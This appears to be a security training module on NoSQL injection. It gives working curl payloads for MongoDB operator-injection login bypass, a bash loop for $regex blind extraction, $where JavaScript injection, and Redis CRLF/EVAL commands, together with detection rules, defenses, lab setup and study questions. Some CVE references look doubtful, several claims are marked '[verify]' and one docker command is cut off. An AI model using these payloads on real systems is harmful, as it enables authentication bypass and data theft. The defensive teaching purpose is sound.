Skip to content

NoSQL Injection

NoSQL injection is SQL injection’s modern cousin. The data model changed — document stores (MongoDB, CouchDB), key-value stores (Redis, DynamoDB), column stores (Cassandra), graph stores (Neo4j) — but the same root cause survived: code that concatenates or binds user input into a query that the database engine executes. NoSQL adds two new attack surfaces that SQL didn’t have: (1) operator injection — MongoDB’s $ne, $gt, $regex operators let an attacker turn an equality check into a “match anything” check; (2) JavaScript injection — MongoDB’s $where clause and Redis’s EVAL execute arbitrary JavaScript/Lua. The 2014 MongoHQ credentials leak, the 2018 Cisco ASA JSON-form NoSQLi (CVE-2018-0296-adjacent), and the 2015 (and 2021 rerun) Laravel MongoDB IDOR via operator injection are real incidents. Wherever an app accepts JSON or application/x-www-form-urlencoded input and passes it through to a NoSQL query without type validation, NoSQLi exists.

A NoSQL query is built from a query document — a JSON-like structure with key-value pairs and operators. The vulnerability is when user input can flip an equality match into an operator match.

SQL (W2):
SELECT * FROM users WHERE username = 'admin' AND password = 'pw'
Injection: ' OR '1'='1
→ SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'pw'
NoSQL (MongoDB):
db.users.findOne({ username: req.body.username, password: req.body.password })
Injection (operator):
req.body.password = { "$ne": null }
→ db.users.findOne({ username: 'admin', password: { $ne: null } })
→ matches admin's record because their password is not null
→ returns admin's record (login bypass)
NoSQL (MongoDB, $where — JS):
db.users.findOne({ $where: "this.username == '" + req.body.user + "'" })
Injection:
req.body.user = "'; return true; //"
→ db.users.findOne({ $where: "this.username == ''; return true; //'" })
→ the JS returns true for every document → returns first user
NoSQL (operator injection via JSON body):
POST /login
Content-Type: application/json
{ "username": "admin", "password": { "$ne": null } }
→ returns first user whose password is non-null
NoSQL (operator injection via form-encoded body):
POST /login
Content-Type: application/x-www-form-urlencoded
username=admin&password[$ne]=null
→ Express body parser builds: { username: "admin", password: { $ne: "null" } }
→ Mongoose / native driver interprets { $ne: "null" } as "not equal to null"
→ matches admin's record
Attack primitives:
$ne = not equal — bypasses equality (matches everyone)
$gt = greater than — range match (bypasses string equality)
$gte = greater than or equal — same
$lt = less than — range match
$lte = less than or equal — same
$regex = regex match — boolean-blind via partial matches
$where = JS function — full RCE in the DB engine
$in = in array — match against a list
$exists = field exists — bypasses missing field check

The fundamental issue: the NoSQL driver interprets object values as operators when the key starts with $. If the application lets the user send a JSON object where a string was expected, every $ operator is available.

  1. Identify the NoSQL backend — response shape, error messages, framework. MongoDB errors contain MongoError and a codeName. Common stacks: MEAN (MongoDB + Express + Angular + Node), Mongoose, pymongo (Python), morphia (Java), spring-data-mongodb.
  2. Identify the input vector — JSON body (Content-Type: application/json), form-encoded body (Node’s body-parser builds objects from key[subkey]=value), URL query string, RESTful path params.
  3. Test operator injection — replace a string value with { "$ne": null } (or the form-encoded equivalent key[$ne]=null). If the response differs from the baseline (login succeeds, query returns data), NoSQLi confirmed.
  4. Confirm with boolean — "$ne": "x" returns all records where the field is not “x”. "admin" (the baseline string) returns one record. Different response shape → operator injection works.
  5. Escalate — depending on the engine:
    • MongoDB: blind via $regex, time-based via $where with sleep(), full RCE via $where with db.eval.
    • Redis: command injection via CRLF in keys, RCE via EVAL Lua, file write via CONFIG SET dir.
    • Cassandra: CQL injection — ' OR 'x'='x works similar to SQL but with CQL syntax.
    • Neo4j: Cypher injection — ' OR 1=1 // in Cypher.
  6. Exfiltrate — blind via $regex ("^a", "^b", … one char at a time, like time-based SQL blind).
TechniqueDescriptionDetection Difficulty
Operator injection via JSON body{"password":{"$ne":null}}Easy — JSON body type confusion
Operator injection via form-encodedpassword[$ne]=nullEasy — body-parser quirk
$regex blind{"username":{"$regex":"^a"}} → boolean blindMedium — slow extraction
$where JS injection{"$where":"this.username=='admin'"}Easy — JS injection pattern
$where time-based{"$where":"if(this.username=='admin'){sleep(5000)}"}Medium — sleep() available in $where
$expr boolean{"$expr":{"$ne":["$password","$username"]}}Medium — newer engines
$in array injection{"username":{"$in":["admin","root","guest"]}}Easy — useful for enum
$mod modulo bypass{"id":{"$mod":[1,0]}} matches any odd idMedium
Type confusion (PHP mongo driver)username=admin&username[$ne]=xEasy — PHP-driver quirk
$exists{"password":{"$exists":true}} matches users with any passwordEasy
Redis CRLFSET key\r\nCONFIG SET dir /\r\n in a single commandHard — requires unescaped input
Redis EVALEVAL "return redis.call('CONFIG','GET','*')" 0Medium — needs Lua access
Cassandra CQL injectionSELECT * FROM users WHERE name='x' OR '1'='1Easy — SQL-like
Cypher injection (Neo4j)MATCH (n) WHERE n.name='x' OR true RETURN nEasy — Cypher syntax
Mass assignment via JSON{"username":"admin","role":"admin"} (W15)Easy
JS injection via driver evaldb.eval('function(){return db.users.find().toArray()}')Medium — needs DBA
Terminal window
# Test NoSQLi via JSON body — operator injection
curl -X POST http://target/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":null}}'
# If response differs from baseline (admin/null), NoSQLi confirmed
# Test via form-encoded (Node body-parser quirk)
curl -X POST http://target/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'username=admin&password[$ne]=null'
# Confirm — boolean blind
# Baseline (no match):
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":"nonexistent","password":{"$ne":null}}'
# Should return 401 (no such user)
# Match (admin exists, password is not null):
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":null}}'
# Should return 200 (matches admin)
# Regex blind — extract username char-by-char
# Test first char:
for c in {a..z}; do
resp=$(curl -s -X POST http://target/login -H "Content-Type: application/json" \
-d "{\"username\":{\"\$regex\":\"^$c\"},\"password\":{\"\$ne\":null}}\" \
-o /dev/null -w "%{http_code}")
echo "First char '$c' → $resp"
done
# 200 = match, 401 = no match → first char found
# Then test second char: "^a$c", etc.
# $where injection — JS code in query
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":"x","$where":"this.username == 'admin' && this.password == 'x'"}'
# $where time-based
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":"x","$where":"if(this.username=='admin'){sleep(5000)}"}'
# If response takes 5s, $where JS is executing
# $where full JS injection — dump users (using tojson in modern MongoDB)
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":"x","password":"x","$where":"function(){return this.username == '\"' OR 1==1 //"}'
# $in array injection
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":{"$in":["admin","root","guest"]},"password":{"$ne":null}}'
# $mod injection (id modulo)
curl -X GET "http://target/api/users?id=1" -H "Content-Type: application/json"
curl -X GET "http://target/api/users" -H "Content-Type: application/json" \
-d '{"id":{"$mod":[1,0]}}'
# PHP Mongo driver — type confusion (PHP < some version)
curl -X POST http://target/login -d 'username=admin&username[$ne]=x&password=x'
# PHP's mongo driver took the array version as the actual value
# MongoDB driver version detection
nmap -p27017 --script mongodb-info target
# Get version, then check for known CVEs (e.g., CVE-2014-8976, CVE-2017-20186)
# Redis CRLF injection via unescaped key input
# If app uses Redis as session store and keys include user input:
redis-cli SET "user:admin\r\nCONFIG SET dir /tmp" "value"
# Then later: keys "user:*" → triggers the embedded CRLF
# Defense: sanitize input; use redis-py's safe serializer
# Redis Lua eval
redis-cli EVAL "return redis.call('CONFIG','GET','*')" 0
# NoSQLi scanner — NoSQLMap
python3 NoSQLMap.py --attack http://target/login --username admin --password '$ne'
# sqlmap with NoSQLi support (limited)
sqlmap -u "http://target/api/users?id=1" --dbms MongoDB --technique=B
# Cassandra CQL injection
# Try: ' OR 'x'='x
# Cassandra doesn't allow stacked queries but allows boolean blinds
# Cypher injection (Neo4j)
# Try: ' OR true RETURN n //
# Or: ' RETURN n UNION MATCH (n:User) RETURN n //
# nuclei — NoSQL templates
nuclei -u http://target -t ~/nuclei-templates/http/vulnerabilities/ -tags nosql,mongodb
nuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags mongo,nosql
# Burp Suite — JSON body tampering
# In Burp, edit the JSON body and replace a string value with an object
# {"password": "x"} → {"password": {"$ne": null}}
# Burp parses it as JSON; the server's body parser does too
# Generic NoSQLi bypass — try various operators
for op in '$ne' '$gt' '$lt' '$gte' '$lte' '$exists' '$regex' '$in' '$mod' '$where' '$expr'; do
echo "=== $op"
curl -s -X POST http://target/login -H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":{\"$op\":null}}" -o /dev/null -w "%{http_code}\n"
done

ModSecurity OWASP CRS — no dedicated NoSQLi rule family. Detection via custom rules:

  • Custom rule: alert on JSON body containing a key starting with $ ($"ne", "$gt", etc.).
  • Custom rule: alert on form-encoded body containing [-bracketed keys that begin with $ (e.g., password[$ne]=).
  • Custom rule: alert on $where in any body.

Suricata — no NoSQL-specific SIDs; HTTP body inspection can match "$ne", "$regex", "$where" patterns [verify].

MITRE ATT&CK T1190 — Exploit Public-Facing Application (NoSQLi as entry). MITRE ATT&CK T1213 — Data from Information Repositories (NoSQL DB as the repository). MITRE ATT&CK T1059.007 — JavaScript ($where JS injection). MITRE ATT&CK T1059 — Command and Scripting Interpreter (the resulting JS/Lua execution).

Wazuh rule 920/31100 — JSON body containing key matching ^\$ (operator injection) [verify]. Wazuh rule 920/31100 — request body containing $where [verify]. Wazuh decoder for application/json body — alert on objects with $-prefixed keys where the schema expects a string.

Defender log signatures:

  • Login endpoint returning 200 for a username with {"$ne": null} password — direct auth bypass.
  • MongoDB log shows "$where" execution — JS injection in progress.
  • Database CPU spike + slow queries — $where sleep() time-based extraction.
  • Redis log shows EVAL calls from application code — Lua injection.

Type confusion via body-parser. Node’s body-parser (and Express’s urlencoded) builds nested objects from key[subkey]=value. So password[$ne]=null becomes {password: {$ne: "null"}}. The string "null" is not null but $ne still matches. This is the most common NoSQLi vector because developers test only with Content-Type: application/json.

Defense: validate the type of every field. If password must be a string, reject any object value: if (typeof req.body.password !== 'string') reject.

Operator whitelisting via driver config. Mongoose and the native MongoDB driver support query sanitization libraries (e.g., express-mongo-sanitize, mongo-sanitize). These strip any key starting with $ from the body. But they don’t help if the app uses raw db.collection.find(req.body) without sanitization.

Defense: install express-mongo-sanitize; or use Mongoose schemas (which validate types strictly); or write a custom middleware to reject any object value where the key starts with $.

JSON array injection. {"password": ["x", "admin"]} — some drivers interpret arrays as $in (match any value in the array). If the app uses findOne with this, it matches any user whose password is “x” or “admin”.

Defense: enforce string types; reject arrays.

Type coercion via PHP / Python. PHP’s mongo driver (legacy) had a type-confusion issue where username=admin&username[$ne]=x was interpreted as username = {$ne: "x"}. The legacy PHP driver is the canonical NoSQLi source for PHP apps. Defense: use modern PHP MongoDB driver (mongodb extension, not mongo).

$where JS sandbox escape. MongoDB’s $where runs JS in a SpiderMonkey sandbox. The sandbox is supposed to prevent access to db, load, print, etc. But every few years a sandbox escape is found (CVE-2014-8976, CVE-2017-20186-class). An escape from $where is RCE on the database host.

Defense: disable $where in MongoDB config (javascriptEnabled: false); never let user input reach $where.

Blind via $regex. If the app doesn’t reflect query results, but does reflect login success, you can extract via $regex. {"username": {"$regex": "^a"}} → 200 if first char is “a”. {"username": {"$regex": "^b"}} → 200 if “b”. Iterate chars and positions. For 8-char usernames, ~256 requests total — fast.

Defense: rate-limit per IP; detect "$regex" in request body.

EvasionWhat it bypassesDefense
password[$ne]= form-encodedJSON-only validationValidate type strictly; use mongo-sanitize
Array as $inString-only validationReject arrays; enforce schema
PHP legacy driverType-strict modern driverUpgrade PHP MongoDB driver
$where sandbox escapeSandbox isolationDisable $where entirely
$regex blind exfilDirect result reflectionRate-limit; detect $regex in body
$expr (newer engines)Old operator blocklistsBlock $expr explicitly

⚠️ What caught me: A target’s login endpoint validated the JSON body strictly — {"username": "string", "password": "string"}. Type-checked, schema-validated, sanitized. The developers thought NoSQLi was impossible. But the same login accepted application/x-www-form-urlencoded. Express’s body-parser turned password[$ne]=null into {password: {$ne: "null"}} — and the validation library didn’t reject this because it was on a different code path. The Mongoose schema validated the model output, not the input. So I sent the form-encoded variant and got login bypass. Lesson: validate input at the parser layer, not at the model layer. If body-parser builds nested objects from form input, that’s the boundary you must defend. express-mongo-sanitize strips $-prefixed keys at the middleware layer, which is the right place.

Container: nowsecure/noSQLi or build a vulnerable MEAN app.

Terminal window
# Build a vulnerable MEAN login app
docker run --rm -d -p 3000:3000 -p 27017:27017 --
# Or use the NoSQLi lab from PortSwigger Web Security Academy
# PortSwigger labs (free, browser-based):
# - "NoSQL injection operator injection"
# - "NoSQL injection — extract data"
# - "NoSQL injection — $where"
# https://portswigger.net/web-security/nosql-injection
# Container alternative:
docker run --rm -d -p 3000:3000 prakhar1989/nosqli-docker
# Or:
git clone https://github.com/a0xnirudh/NoSQLi-Lab && cd NoSQLi-Lab && docker compose up -d

Objective: complete (1) operator injection login bypass via JSON body, (2) operator injection via form-encoded body, (3) $regex blind extraction of a username, and (4) $where JS injection confirmation.

Expected flag format: flag{nosql_operator_injection_or_where_js_injection}.

Detection that should fire: ModSecurity custom rule on JSON body with $-prefixed keys. The MongoDB server log should show queries containing $ne, $regex, $where — alert on any of these from the application user (not the admin). For $where, alert on any JS execution. The application log should show a 200 to /login without a known valid password — direct NoSQLi auth bypass signature.

Conceptual: explain the structural difference between SQL injection and NoSQL operator injection. Why does prepared statement defense in SQL not have a direct equivalent in NoSQL?

Technical: walk through the form-encoded body-parser NoSQLi (password[$ne]=null). What two implementation choices — one in the body-parser, one in the driver — make this work?

Scenario: a target’s /login endpoint accepts JSON body, validates the schema strictly with a Zod schema that requires password: string, and uses Mongoose models. Describe two distinct attack vectors still possible against this endpoint.

Compare $where JS injection and $regex boolean-blind extraction. For each, give the specific defense and the operational tradeoff (e.g., disabling $where may break legitimate queries).

Why does array injection ({"password": ["x", "y"]}) work against some MongoDB drivers? What is the underlying driver behavior, and how does the schema-validation defense differ from the type-validation defense?

→ W2 (SQL Injection) · W15 (API Security (REST)) · W16 (GraphQL Security)